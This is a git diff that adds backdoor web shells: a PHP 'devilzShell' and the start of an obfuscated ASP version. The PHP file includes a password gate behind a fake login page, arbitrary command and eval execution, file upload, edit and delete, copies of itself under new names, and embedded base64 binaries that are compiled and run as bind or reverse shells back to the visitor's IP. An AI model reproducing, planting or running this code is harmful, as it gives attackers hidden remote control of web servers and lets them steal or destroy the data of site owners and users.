+QQJ2ZVCudXAT/61tZw9XlWQmh2Vzc2FnZUJvNb6wxHhBfXMlMzIuZCrPtaInN745SAMLVJhrxHI6 +IAMAq6QeQF4pp7Zq9ftSU01TUwdlbZk0U1ffAKX5v3MgTWFuDucoQnZyAFwv2gOZZMq2ACABKCCZ +SB4ASAAQhEAmZAAQgQZkCGQBEIJkCGRAAhDuqsrcvwABB9sIdZAu2xhbBR/AZJBukAsdCwSWQAZp +Bo0IjmRABmSPkJEFZEAGkpOyLEQHCAfvCowkLwtvDKsABZMZ9zWgb6uIbD9cB03TNE0JMAoMEOB0 +r2mWQhGwElcHExczTdNgGChYB033lk0ayEEbuwccaDRN0zR4WHlIetM0TdM4/DT/JKuInQRTAgTS +ReTZwb5ggnmCIRem3wehpbx5/v2Bn+D8L0B+gPyowaPao0HOHmGXgf4HQG6QIbC1L0G2X+cr5P/P +ouSiGgDlouiiW36h/lfy291RBQPaXtpfX9pq2jLT4GXn9tje4Pk5MX4A+AMyKCKwWdnVUVF8RyQw +/f8GoE1EQnl0ZVRvV2lkZUNoYXID8H+7FFVuBm5kbGVkRXhjZXAF+la5bUZpJmUZD0N1cnK2oFWt +v1UAcwJw2dYSI2kMQ1iTbIO1KA5BL1NEe+wLwGlytm9yeUFFU3lzJ7PWDmxtFFNvaxtq9hvAdGGP +cEluZm8s7rNXuZbNgG9tbZ7J2jD3TGluZR61v8q2JABjJUWTT3L7F1sAWXMWmkFkZHKtCUABGExh +PABHArpJVgVBbGANYGtMDUiBCj32NztSZQxDQUNQB01vZCycRbhyZUgqqFYjc2fBHjMtC09FTSd/ +VIBlwt55cCUPV1RruyU8ajSVQ01vIxCwCTtBDVd1ZUMB2JBlTr84RnJmKWxl7RhFbu3s0Jpe20R2 +Gm95ZhGGEDZXxeUbrAEUelvDZBIxey82DY3PTzZ7SZgEUIYYCc1QbnxSdGxgd2m8YfA0G7F0ypGJ +AENw2Iy4ZnNlYGJPsDPiFjtTQ2xBDyPYjFkiZAw5CFgymnGGIRrbBfZRDkPlbIYtxF4Cn3RjaFvp +ZzYLmKMO7B+GHMu2aballsz/AwI0FnfLsiwEAgENzlNBU9vmaAGIIQ4JAgj8lyctc4JQRUwBAwCJ +C5Q/jIj9h+AADwELAQb0J3Zy2R3UFQQQAEAAEA+2YRNiEgcXYOxsFkyiDBAHy73sDQYAaESDR0DW +DQii/B7WEBvBLhh0Oi6Q4LOQDTCY+mAuck2YdYaLJwlTA5pb7JRqQC4mJxwKUPKbkkFQwBO0RQAA +aMVvsyQAAAD/AAAAAAAAAAAAAABgvgBQQACNvgDA//9Xg83/6xCQkJCQkJCKBkaIB0cB23UHix6D +7vwR23LtuAEAAAAB23UHix6D7vwR2xHAAdtz73UJix6D7vwR23PkMcmD6ANyDcHgCIoGRoPw/3R0 +icUB23UHix6D7vwR2xHJAdt1B4seg+78EdsRyXUgQQHbdQeLHoPu/BHbEckB23PvdQmLHoPu/BHb +c+SDwQKB/QDz//+D0QGNFC+D/fx2D4oCQogHR0l19+lj////kIsCg8IEiQeDxwSD6QR38QHP6Uz/ +//9eife5cAAAAIoHRyzoPAF394A/A3XyiweKXwRmwegIwcAQhsQp+IDr6AHwiQeDxwWI2OLZjb4A +UAAAiwcJwHRFi18EjYQwAHAAAAHzUIPHCP+WUHAAAJWKB0cIwHTcifl5Bw+3B0dQR7lXSPKuVf+W +VHAAAAnAdAeJA4PDBOvY/5ZkcAAAi65YcAAAjb4A8P//uwAQAABQVGoEU1f/1Y2H5wEAAIAgf4Bg +KH9YUFRQU1f/1VhhjUQkgGoAOcR1+oPsgOnbof//AAAAAAAAAAAAAAAAAAAAAAAAAHyAAABQgAAA +AAAAAAAAAAAAAAAAiYAAAGyAAAAAAAAAAAAAAAAAAACWgAAAdIAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAoIAAAK6AAAC+gAAAzoAAANyAAADqgAAAAAAAAPiAAAAAAAAAcwAAgAAAAABLRVJORUwzMi5E +TEwAQURWQVBJMzIuZGxsAFdTMl8zMi5kbGwAAExvYWRMaWJyYXJ5QQAAR2V0UHJvY0FkZHJlc3MA +AFZpcnR1YWxQcm90ZWN0AABWaXJ0dWFsQWxsb2MAAFZpcnR1YWxGcmVlAAAARXhpdFByb2Nlc3MA +AABPcGVuU2VydmljZUEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; +$shell_style = " + +"; +//################# FUNCTION GOES HERE #######################==============================================] +function xclean($text){ + if (get_magic_quotes_gpc()) { + $text = stripslashes($text); + } + return $text; +} +function xcleanpath($path){ + if(is_dir($path)){ + $path = urldecode(trim(xclean($path))); + $xSlash = DIRECTORY_SEPARATOR; + while(substr($path,-1) == $xSlash){ + $path = rtrim($path,$xSlash); + } + return $path.$xSlash; + } + return $path; +} +function xparsedir($dir){ + $xSlash = DIRECTORY_SEPARATOR; + $dirs = explode($xSlash,$dir); + $buff = ""; + $dlink = ""; + $system = trim(php_uname()); + if(strtolower(substr($system,0,3)) != "win") { + $dlink .= urlencode($xSlash); + $buff .= "".$xSlash." "; + } + foreach($dirs as $d){ + $d = trim($d); + if($d != ""){ + $dlink .= urlencode($d.$xSlash); + $buff .= "".$d." ".$xSlash." "; + } + } + return "[ ".$buff." ]"; +} +function xfileopen($file){ + $content = ""; + if(is_file($file) || is_link($file)){ + if($fp = fopen($file,"rb")){ + while(!feof($fp)) { + $content .= fread($fp,1024); + } + fclose($fp); + } + } + return $content; +} +function xfilesave($file,$content){ + $dir = substr($file,0,strrpos($file,DIRECTORY_SEPARATOR)); + if(!is_dir($dir)) mkdir($dir); + if($file != ""){ + $handle = fopen($file, "wb"); + if(fwrite($handle, $content) || ($content == "")){ + fclose($handle); + return true; + } + fclose($handle); + } + return false; +} +function xtempfolder() { + if (!empty($_ENV['TMP'])) { return realpath($_ENV['TMP']); } + if (!empty($_ENV['TMPDIR'])) { return realpath( $_ENV['TMPDIR']); } + if (!empty($_ENV['TEMP'])) { return realpath( $_ENV['TEMP']); } + $tempfile=tempnam(__FILE__,''); + if (file_exists($tempfile)) { + unlink($tempfile); + return realpath(dirname($tempfile)); + } + return null; +} +function xrmdir($dir) { + $files = glob($dir . '*', GLOB_MARK); + foreach( $files as $f ){ + if(is_dir($f)) xrmdir($f); + else unlink($f); + } + if (is_dir($dir)) rmdir($dir); +} +function xhighlight($file){ + $color_bg = ini_get('highlight.bg'); + $color_html = ini_get('highlight.html'); + $color_keyword = ini_get('highlight.keyword'); + $color_default = ini_get('highlight.default'); + $color_comment = ini_get('highlight.comment'); + $color_string = ini_get('highlight.string'); + $con = @highlight_file($file,true); + $con = str_ireplace($color_keyword,"#FF0082",$con); + $con = str_ireplace($color_default,"#F00000",$con); + $con = str_ireplace($color_string,"#888888",$con); + $con = str_ireplace($color_html,"#EEEEEE",$con); + return $con; +} +function xfilesummary($file){ + $buff = ""; + if(is_file($file) || is_link($file)){ + $buff = "Filesize : ".xparsefilesize(xfilesize($file))." ( ".xfilesize($file)." ) :: Permission : ".xfileperms($file)." ( ".xfileowner($file)." ) :: modified : ".xfilelastmodified($file); + } + return $buff; +} +function xparsefilesize($size){ + if($size <= 1024) return $size; + else{ + if($size <= 1024*1024) { + $size = sprintf("%.02f",@round($size / 1024,2)); + return $size." kb"; + } + else { + $size = sprintf("%.02f",@round($size / 1024 / 1024,2)); + return $size." mb"; + } + } +} +function xfilesize($file){ + if(is_file($file) || is_link($file)){ + if($size = filesize($file)){ + return $size; + } + } + return "0"; +} +function xfileperms($file){ + $isreadable = "-"; + $iswriteable = "-"; + if(is_file($file) || is_dir($file) || is_link($file)){ + if(is_readable($file)) $isreadable = "r"; + if(is_writeable($file)) $iswriteable = "w"; + } + return $isreadable . " / " . $iswriteable; +} +function xfileowner($file){ + if(is_file($file) || is_dir($file) || is_link($file)){ + $fowner = fileowner($file); + $fgroup = filegroup($file); + if(function_exists('posix_getpwuid') && (function_exists('posix_getgrgid'))) { + $name=posix_getpwuid($fowner); + $group=posix_getgrgid($fgroup); + return trim($name['name'].":".$group['name']); + } + else{ + return "???"; + } + } + return "???"; +} +function xdrive(){ + $letters = ""; + foreach (range("A","Z") as $letter){ + $bool = @is_dir($letter.":\\"); + if($bool){ + $letters .= "[ "; + $letters .= $letter; + $letters .= " ] "; + } + } + if($letters != "") $letters .= "
"; + return $letters; +} +function xfilelastmodified($file){ + if(is_file($file) || is_dir($file) || is_link($file)){ + $lastm = date("d-M-Y H:i",filemtime($file)); + return $lastm; + } + return "???"; +} +function xrunexploit($fpath,$base64,$port,$type){ + $con = base64_decode($base64); + $system = trim(php_uname()); + $final = ""; + if(preg_match("/win/i",$system)){ + $fname = "bd.exe"; + $ip = ""; + $ok = false; + $fpath = $fpath.$fname; + if(is_file($fpath)) unlink($fpath); + if(!xfilesave($fpath,$con)){ + $tmp = xcleanpath(xtempfolder()); + $fpath = $tmp.$fname; + if(xfilesave($fpath,$con)) $ok = true; + } + else $ok = true; + if($ok){ + $fpath = trim($fpath); + if($type == 'connect') $ip = $_SERVER['REMOTE_ADDR']; + $final .= $fpath." ".$port." ".$ip; + ekse(trim($final)); + return true; + } + } + else { + if($type == 'connect') $fname = "back"; + else $fname = "bind"; + $ip = ""; + $ok = false; + $fpath = $fpath.$fname; + if(is_file($fpath.".c")) unlink($fpath.".c"); + if(!xfilesave($fpath.".c",$con)){ + $tmp = xcleanpath(xtempfolder()); + $fpath = $tmp.$fname; + if(xfilesave($fpath.".c",$con)) $ok = true; + } + else $ok = true; + if($ok){ + $fpath = trim($fpath); + if($type == 'connect') $ip = $_SERVER['REMOTE_ADDR']; + ekse("gcc ".$fpath.".c -o ".$fpath); + ekse("chmod +x ".$fpath); + if(is_file($fpath)){ + $final .= $fpath." ".$port." ".$ip; + ekse(trim($final)); + return true; + } + else return false; + } + } + return false; +} +function xeval($code){ + $code = xclean($code); + @ob_start(); + @eval($code); + $buff = @ob_get_contents(); + @ob_end_clean(); + return $buff; +} +function ekse($cmd){ + if(function_exists('system')) { + @ob_start(); + @system($cmd); + $buff = @ob_get_contents(); + @ob_end_clean(); + return $buff; + } + elseif(function_exists('exec')) { + @exec($cmd,$results); + $buff = ""; + foreach($results as $result){ + $buff .= $result; + } + return $buff; + } + elseif(function_exists('passthru')) { + @ob_start(); + @passthru($cmd); + $buff = @ob_get_contents(); + @ob_end_clean(); + return $buff; + } + elseif(function_exists('shell_exec')){ + $buff = @shell_exec($cmd); + return $buff; + } +} +function xdir($path){ + $path = trim($path); + $path = xcleanpath($path); + if(is_dir($path)){ + $fname = array(); + $dname = array(); + if($dh = @scandir($path)){ + foreach($dh as $file){ + if(is_dir($file)){ + $dname[] = $file; + } + else{ + $fname[] = $file; + } + } + } + else{ + if($dh = @opendir($path)){ + while($file = @readdir($dh)){ + if(@is_dir($file)){ + $dname[] = $file; + } + else{ + $fname[] = $file; + } + } + @closedir($dh); + } + } + natcasesort($fname); + natcasesort($dname); + $buff = "
+ + + + + "; + foreach($dname as $d){ + $sd = $d; + if($d == "..") { + $nextdir = "..".DIRECTORY_SEPARATOR.".."; + $d = xcleanpath(realpath($sd)); + } + elseif($d == ".") { + $nextdir = ".."; + $d = xcleanpath(realpath($sd)); + } + else { + $nextdir = "."; + $d = xcleanpath(realpath(".".DIRECTORY_SEPARATOR.$sd)); + } + $dir = $d; + $nextdir = xcleanpath(realpath($nextdir)); + $buff .= " + "; + $buff .= ""; + $buff .= ""; + $buff .= ""; + $buff .= ""; + $buff .= ""; + } + foreach($fname as $f){ + $sf = $f; + $f = $path.$f; + $view = "?dir=".urlencode($path)."&view=".urlencode($f); + $buff .= ""; + $buff .= ""; + $buff .= ""; + $buff .= ""; + $buff .= ""; + $buff .= ""; + } + $buff .= "
FilenameFilesizePermissionLast ModifiedAction
[ ".$sd." ]DIR".xfileperms($d)."".xfilelastmodified($d)."Properties | Remove
+ + ".$sf."".xparsefilesize(xfilesize($f))."".xfileperms($f)."".xfilelastmodified($f)."Edit | Download | Remove
"; + return $buff; + } +} +//################# INIT GOES HERE #######################==================================================] +error_reporting(0); +@set_time_limit(0); +ini_set("allow_url_fopen" ,1); +ini_set("allow_url_include" ,1); +ini_set("open_basedir",NULL); + + +if(isset($_POST['passw'])){ + $check = trim($_POST['passw']); + if($check == $shell_password){ + setcookie("pass",$check,time() + 3600*24*7); + $m = $_SERVER['SCRIPT_NAME']; + header("Location: ".$m); + die(); + } + else setcookie("pass",$check,time() - 3600*24*7); +} +if(isset($_COOKIE['pass'])) $check = trim($_COOKIE['pass']); +else $check = ""; +if($check == $shell_password){ + $auth = true; + } +else $auth = false; +if(isset($_GET['img'])){ + $file = xclean($_GET['img']); + if(is_file($file)){ + @ob_clean(); + $inf = getimagesize($file); + $ext = explode(basename($file),"."); + $ext = $ext[count($ext)-1]; + @header("Content-type: ".$inf["mime"]); + @header("Cache-control: public"); + @header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); + @header("Cache-control: max-age=".(60*60*24*7)); + @readfile($file); + exit; + } + else{ + $file = $$file; + $data = base64_decode($file); + @header("Content-type: image/png"); + @header("Cache-control: public"); + echo $data; + exit; + } +} +if(isset($_GET['get']) && ($_GET['get'] != "")){ + $file = xclean($_GET['get']); + $filez = @file_get_contents($file); + header("Content-type: application/octet-stream"); + header("Content-length: ".strlen($filez)); + header("Content-disposition: attachment; filename=\"".basename($file)."\";"); + echo $filez; + exit; +} +$xCwd = xcleanpath(getcwd()); +if(isset($_GET['btnConnect']) && (is_numeric($_GET['bportC']))){ + $port = $_GET['bportC']; + $dir = xcleanpath(xclean(trim($_GET['dir']))); + $system = trim(php_uname()); + if(strtolower(substr($system,0,3)) == "win") $base64 = $wBind; + else $base64 = $xBack; + if(xrunexploit($dir,$base64,$port,"connect")){ + } +} +elseif(isset($_GET['btnListen']) && (is_numeric($_GET['lportC']))){ + $port = $_GET['lportC']; + $dir = xcleanpath(xclean(trim($_GET['dir']))); + $system = trim(php_uname()); + if(strtolower(substr($system,0,3)) == "win") $base64 = $wBind; + else $base64 = $xBind; + if(xrunexploit($dir,$base64,$port,"listen")){ + } +} +if(isset($_GET['dir']) && ($_GET['dir'] != "")){ + $newdir = xcleanpath(xclean(trim($_GET['dir']))); + if(isset($_GET['oldfilename']) && ($_GET['oldfilename'] != "")){ + $newdir = xcleanpath(xclean(trim($_GET['properties']))); + } + if(is_dir($newdir)){ + if(chdir($newdir)) $xCwd = $newdir; + } + else{ + $newdir = dirname($newdir); + if(is_dir($newdir)) if(chdir($newdir)) $xCwd = $newdir; + } + if(isset($_POST['btnNewUploadUrl'])){ + $filename = xclean(trim($_POST['filename'])); + $fileurl = xclean(trim($_POST['fileurl'])); + if($filename == "") $filename = basename($fileurl); + $filepath = $newdir.$filename; + if($fileurl != ""){ + $con = xfileopen($fileurl); + xfilesave($filepath,$con); + } + } + elseif(isset($_POST['btnNewUploadLocal'])){ + if(is_uploaded_file($_FILES['filelocal']['tmp_name'])){ + $filename = xclean(trim($_POST['filename'])); + if($filename == "") $filename = $_FILES['filelocal']['name']; + $tmp_name = $_FILES['filelocal']['tmp_name']; + $filepath = $newdir.$filename; + $stat = @move_uploaded_file($tmp_name,$filepath); + } + } + if(isset($_GET['foldername']) && ($_GET['foldername'] != "")){ + $fname = xcleanpath(xclean(trim($_GET['foldername']))); + if(!is_dir($newdir.$fname)) mkdir($newdir.$fname); + } + elseif(isset($_GET['del']) && ($_GET['del'] != "")){ + $fdel = xclean(trim($_GET['del'])); + if(is_file($fdel) || is_link($fdel)) unlink($fdel); + elseif(is_dir($fdel)){ + xrmdir($fdel); + $newdir = substr($newdir,0,strrpos($newdir,DIRECTORY_SEPARATOR)); + $newdir = substr($newdir,0,strrpos($newdir,DIRECTORY_SEPARATOR)); + } + } + elseif(isset($_GET['childname']) && ($_GET['childname'] != "")){ + $childname = $newdir.xclean(trim($_GET['childname'])); + $con = xfileopen($_SERVER['SCRIPT_FILENAME']); + xfilesave($childname,$con); + } +} +if(isset($_GET['cmd']) && ($_GET['cmd'] != "")){ + $cmd = xclean($_GET['cmd']); + if(preg_match("/^cd(.*)/i",$cmd,$c)){ + $newdir = trim($c[1]); + $newdir = trim(urldecode(xclean($newdir))); + if($newdir == "\\") $xCwd = substr($xCwd,0,3); + else{ + if(strpos($newdir,":") > 0){ + if(is_dir($newdir)) $xCwd = xcleanpath(realpath($newdir)); + } + elseif(is_dir($newdir)){ + $xCwd = xcleanpath(realpath($newdir)); + } + else{ + if(is_dir($xCwd.$newdir)) $xCwd = xcleanpath(realpath($xCwd.$newdir)); + } + } + $result = xdir($xCwd); + } + elseif(preg_match("/^(\w{1}:.*)/",$cmd,$dc)){ + $newdir = trim($dc[1]); + if(is_dir($newdir)){ + $xCwd = xcleanpath($newdir); + } + $result = xdir($xCwd); + } + else { + $result = ekse($cmd); + if($result != "") $result = nl2br(str_replace(" "," ",htmlentities($result))); + else { + $result = xdir($xCwd); + } + } + +} +elseif(isset($_GET['eval']) && ($_GET['eval'] != "")){ + $result = htmlspecialchars(xeval($_GET['eval'])); +} +elseif(isset($_GET['properties']) && ($_GET['properties'] != "")){ + $fname = xcleanpath(xclean($_GET['properties'])); + if(isset($_GET['oldfilename']) && ($_GET['oldfilename'] != "")){ + $oldname = xclean($_GET['oldfilename']); + rename($oldname,$fname); + } + $dir = xclean($_GET['dir']); + $fcont = ""; + $fview = ""; + if(is_dir($fname)){ + $fsize = "DIR"; + $fcont = xdir($fname); + $faction = "
Properties | Remove"; + } + else{ + $fname = rtrim($fname,DIRECTORY_SEPARATOR); + $fsize = xparsefilesize(xfilesize($fname))." ( ".xfilesize($fname)." bytes )"; + $type = ""; + if(isset($_GET['type'])) $type = trim(xclean($_GET['type'])); + $iinfo = getimagesize($fname); + $imginfo = ""; + if($type == ""){ + if(is_array($iinfo)) $type = 'img'; + else $type = 'text'; + } + if($type == 'code'){ + if($code = xhighlight($fname)) + $fcont = "
".$code."
"; + } + elseif($type == 'img'){ + $width = (int) $iinfo[0]; + $height = (int) $iinfo[1]; + $imginfo = "Image type = ( ".$iinfo['mime']." )
Image Size = ( ".$width." x ".$height." )
"; + if($width > 800){ + $width = 800; + $imglink = "

[ view full size ]

"; + } + else $imglink = ""; + + $fcont = "
".$imglink."\"\"
"; + } + else{ + $code = htmlspecialchars(file_get_contents($fname)); + $fcont = "
".nl2br($code)."
"; + } + $faction = "Edit | Download | Remove"; + $fview = "[ text ][ code ][ image ]"; + } + $fowner = xfileowner($fname); + $fperm = xfileperms($fname); + $result = "
+
+ + ".$faction." | + + + +
+ Size = ".$fsize."
".$imginfo." + Owner = ( ".$fowner." )
+ Permission = ( ".$fperm." )
+ Create Time = ( ".date("d-M-Y H:i",@filectime($fname))." )
+ Last Modified = ( ".date("d-M-Y H:i",@filemtime($fname))." )
+ Last Accessed = ( ".date("d-M-Y H:i",@fileatime($fname))." )
+ ".$fview." +
+ ".$fcont." +
+
+ "; +} +elseif((isset($_GET['view']) && ($_GET['view'] != "")) || ((isset($_GET['filename']) && ($_GET['filename'] != "")))){ + $msg = ""; + if(isset($_POST['save']) && ($_POST['save'] == "Save As")){ + $file = xclean(trim($_POST['saveAs'])); + $content = xclean($_POST['filesource']); + if(xfilesave($file,$content)) $pesan = "File Saved"; + else $pesan = "Failed to save file"; + $msg = "[ ".$pesan." ]"; + } + else { + if(isset($_GET['view']) && ($_GET['view'] != "")) $file = xclean(trim($_GET['view'])); + else $file = $xCwd.xclean(trim($_GET['filename'])); + } + $result = xfileopen($file); + $result = htmlentities($result); + $result = " +

".xfilesummary($file)."".$msg."

+
+ + + +
+ "; +} +else{ + $result = xdir($xCwd); +} +//################# Finalizing #######################======================================================] +if($auth){ + if(isset($_GET['bportC'])) $bportC = $_GET['bportC']; + else $bportC = $shell_fav_port; + if(isset($_GET['lportC'])) $lportC = $_GET['lportC']; + else $lportC = $shell_fav_port; + $html_title = $shell_title." ".$xCwd; + $html_head = " +".$html_title." + +".$shell_style." + +"; +$html_body = " +
+

".$shell_title."

+
".$xHeader." +
+".xdrive().xparsedir($xCwd)." +
+ +
+
+ + + + + + + + +
BackConnect +Port  + +example: (using netcat) run "nc -l -p ".$bportC."" and then press Connect
Listen +Port  + +example: (using netcat) press "Listen" and then run "nc ".$xServerIP." ".$lportC.""
+
+
+
+
+ + + +
New Foldername + + + +
+
+
+
+
+ + + + +
New Filename + + + +
+
+
+
+ + + + +
Save as
From Url + +
From Computer + + + +
+
+
+
+
+ + + +
New Shellname + + +
+
+
+
+
+ + + + +
+ +
+
+
+
+
+
+ + + +
+
+
+
+".$result." +
+"; +} +else { + $html_title = $shell_fake_name; + $html_head = "".$html_title."".$shell_style; + $html_body = "
+
+
+ + +
+
+
".$shell_fake_name."
+
+"; +} +if(isset($_GET['cmd']) || isset($_POST['passw'])) $html_onload = "onload=\"document.getElementById('cmd').focus();\""; +else $html_onload = ""; +$html_final = " + +".$html_head." + + +
+".$html_body." +
+ +"; +echo preg_replace("/\s+/"," ",$html_final); +?> \ No newline at end of file diff --git a/Backdoor Dev Shells/devshell.asp b/Backdoor Dev Shells/devshell.asp new file mode 100644 index 0000000..c467192 --- /dev/null +++ b/Backdoor Dev Shells/devshell.asp @@ -0,0 +1,20 @@ +<%@ Language = "VBscript.Encode" %> +<% +'# devilzShell <[asp]> +'# ^^^^^^^^^^^^ +'# author: b374k +'# greets: devilzc0der(s) and all of you who love peace and freedom +'# +'# +'# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +'# Jayalah Indonesiaku + + +shell_name = "devilzShell" +shell_fake_name = "Server Logging System" +shell_title = " :: " & shell_name & " ::" +shell_version = "v1" +shell_password = "devilzc0der" +shell_fav_port = "12345" +shell_color = "#374374" +%><%#@~^FgAAAA==~}x~ADMWD,IdEs+~16O~dwcAAA==^#~@%><%#@~^GgAAAA==~U+.7+MR?1Db2Y:kh+KEOx+!!,FAkAAA==^#~@%><%#@~^EwAAAA==~k+dkkKxR^mb['y!XG,GQYAAA==^#~@%><%#@~^MvsAAA==@#@&6jK0DhlM+,xPXY.ks`]n$E+kORU+D7n..mDbl8VndvJj2"#2"{j6wK)]AJb#@#@&X?zkY:P{P}j\Dc#@#@&ajD\.qhP',]n;!+kY ?n.7+..m.km4snk`JJ6;bJ{z9GIE*@#@&6Z^kUY&n~',In5!+/D ?D\.#lMkm4s+dcrI3H}P2|b99"J#@#@&@#@&aCC9+.,',6?K0DAlM+~[,J@!8MPz@*EPLP6UzdY:,[~J@!8MP&@*UnD7+.~&n)~@!kwCx,^^ldk'rJomE^EJ@*$~@!J/2C @*J,'PX?+M-nD&n,[~J@!dalUP1slk/xErol;srJ@*PY@!J/2mx@*[x(/aI[ 4dwp[U8kwiIGEMPqhl~@!kwmx~msCk/xJrLl!VEE@*$P@!&kwCx@*E,[~XZ^k+ Y&KPLPE@!kwCU,mVmd/{JJTC;VrJ@*PD@!&dalU@*r@#@&bmGU,'PErjA6ISTnMLKbzbbg?`42`o)bzA))zbb5/bIbbz)W%J,4b)b$&0V3pj]cyW+]U oi}"Z!;F._ATMhrP[|@#@&EcskAsq.hKU:q_2l5?h59*k7MnCdqh(}X$tx3K`f%]mHq3%:3*ogo&EO~hUm5R+~4,mALX;M/rnEcr~[|@#@&r3*3.A0!;khr& q(qAo(HG.}ww;h!|;;MM%]\: L6^%b]!_ 9y6|PT2C/jJtj_r7n*D1%X3*EeOXJ~[|@#@&rN/uTMpu^J?[b!5S}$OL;b2FI ASVI0t_4rFlzl5"Z1Z!wK&_! IM*|Kay_2FWj|jK8o&kn[(Fznkr~L{@#@&JKS,Rh4hbD%8\2r{eR,/&- O3y}2j\A1"cqVj9894!~}SMW0N;&C1 lz+Dpy|#40YlRMsTx!hLCrP'm@#@&JZQs&K?XL"nTYs&}tdX$IQ3TW;Sqe!T.EPh0vT2h5Jw*S ~!S0MlQVFqXj9&$ikWA~smZE2j6C3qjrP'{@#@&r\aHdF1$b0#Wm!.tqXt!^"(q+t,MKwg0n9_"k).3Hp1kZk1_H. ^J3mmhoCj-^g6^E! Cq,KLM J~'|@#@&JX}x+!!,`/GIxN2Hmsd2ys!64%Ngq ^c,U%%jVWW3eh3XW6f+$ &6(sBNDlAjt\Jng0(D8DAZ%tHwr~[|@#@&JTleAmqowP9N2!^Xs&S0z.]N(HW;}KRPz9tOX(Y451a.]z^Bw2iqCqtsO0 j.68,X%;14hmj{}NrJ,'m@#@&JGF.Cp]X,hnT-Wg6V5N:KAF (zH^#TbO16!mZHHSCjtxQbt\J"~C1b-;2bbz))2^s:3jE}h;ZE@#@&8o,'~Eb.A6]S!FMTGzb)z1UjtAjT)bzb\bzb)9;b5z)b~|d &bzbz9VV3}jI* sH3zb(2nlx&8Ov05q)AJ~L{@#@&Jt}W1+SlhM9xe+hvSb(oSob5)06I1ItnWOH1b)bz)?`.6]n*Ze(&'E@#@&A~kU9'rK.$pz)Hzb)bAb))zzzR)bdobz))bzbzb}b))zb)bz)bzb))zbb))zb)bz)zb)zbzbbzbz)bzb)bzJ~'|@#@&r)bzbXz))bzc6ELc)OzxHq(LA:HT4jMt2^HAAms1 mhwY&M144sX\9Z$k\?$z9cTCWoIA1PqVF7J~[m@#@&JtM`;f5!FBzbb))zb)bzTVbVlm_Vxmx~X}ywA+qN5hV}/mUsl} M"t^;xsxCU~*t:aH+qN53s}!E~L{@#@&rC NX\ $5}sF$Cx^xCVxwe+4h+q[;zbbz))bzbzA}I})zK)2G)q0Ss9Rbb))zb)bz)}b)GhASb55zEPL{@#@&rb9)zbbz}bzbb5))bIC&b)b$}zb)bT)bzb)$zbb)}zb)bzLzb$zbzbbzbz)bAb)bzb))zbb;}bzbbr~'{@#@&r2)b))zb)bz(bzb))zAb))~b)bz)z2)zbAbbzbz)bzA)bzb))zbbz)bzbbz/)bzb&b}b))zb)bz)brP'm@#@&J))zb)bz)zb)zbzbbzbz)bzb)bzb))zbbz)bzbbz))bzbzb)b))zb)bz)bzb))zbb))zb)bz)zb)zJ,[{@#@&r)bzb)bzb))zbbz)bzbbz))bzbzb)b))zb)bz)bzb))zbb))zb)bz)zb)zbzbbzbz)sjp fzb))zbJ,'{@#@&Jz3)bzbzp)b))zb)bz)pzb))zbb))zb)bz)zb)&bzbr~.`ooXb)bzb))Sbbz)jzbbz/}bzbz2)b))rP'{@#@&Jzb))zbb))zb)bz$zb)Goj.AIHT)bzb)bAb))zqbz)bzZbz))|zbzb)b))zb)bz)bzb))5bb)Azb)J,'|@#@&rbzbbzbz)bzb)bzb))zbbz)bzbbz))bzbzb)b))zb)bz)bzb))zbb))zb)bz)zb)zbzbbzbz)bzb)J,[m@#@&Jbz)bzbbz))bzbzb)b))zb)bz)bzb))zbb))zb)bz)zb)zbzbbzbz)bzb)bzb))zbbz)bzbbz))bzJ,[m@#@&Ezb)bz)bzb))zbb))zb)bz)zb)zbzbbzbz)bzb)bzb))zbbz)bzbbz))bzbzb)b))zb)bz)bzb))zJP'm@#@&Ebz)zb)zbzbbzbz)bzb)bzb))zbbz)bzbbz))bzbzb)b))zb)bz)bzb))zbb))zb)bz)zb)zbzbbzJ,'{@#@&Ebzb))zbbz)bzbbz))bzbzb)b))zb)bz)bzb))zbb))zb)bz)zb)zbzbbzbz)bzb)bzb))zbbz)bzJPLm@#@&rbzb)b))zb)bz)bzb))zbb))zb)bz)zb)zbzbbzbz)bzb)bzb))zbbz)bzbbz))bzbzb)b))zb)bzEPL{@#@&rbb))zb)bz)zb)zbzbbzbz)bzb)bzb))zbbz)bzbbz))bzbzb)b))zb)bz)bzb))zbb))zb)bz)zbE,[|@#@&rbz)bzb)bzb))zbbz)bzbbz))HHcS1)A#iwo4f5VZ;46nIj!q#(*uv8}zbo`kzbbz5z)bxo\bGZWVrP[|@#@&rzz39WZ52~(iqCLGzoK~)pzf/$zZp;/X!fzF&Ao)zvzHb~?XP.j}plzb}(yoh`3b!C18-f,+SZSVCE~L{@#@&ruozyA(8MnK6ME)pt-Jlp24kpA&VAB2zf]qZ%\1DpjKV0Oxl.&i?x(;I}1Lz4+o5A-\9VB&+\_&QGJ~[|@#@&JQzMxNZ5j64Xdfep:j Voo%53}N\f(uWzFLWj[p}[N}}3Mo1UlL(3,C8&!YQsS)3s}SqRnj1f6p*:J~[|@#@&EzMW~QGFG_X{GVhbF%"5e9WpnbaOKUlf2!;cLL~pu9z\KS/aG7: (%V8C;tA3b!AVwssz{j2&}3aiJ,[|@#@&JB$~:-IW^j^A [\fE^2Gm"pw5;t90(N0/\DHJS`KPK4fQ JGY8OljqqD;!q8HxA/1#owM&\ILlyLE,[{@#@&rNHnaXTq}mAzxb~4}ttaC}nyq#Hz44DqC},1ZdBH5EW\aj"~E&zJAE0Zp(7roQ3G%Wh-ZWFbF&HJ,[|@#@&rk02IH(-n,*+&H4;Vb0r3XYA/4M0(SmV5.i59v#F/As6Jh9:WjX4XS5\ f`5DotzF[F2VAqynbxGJ,[{@#@&EA}1U6*pV%go$y Xc1hO\ 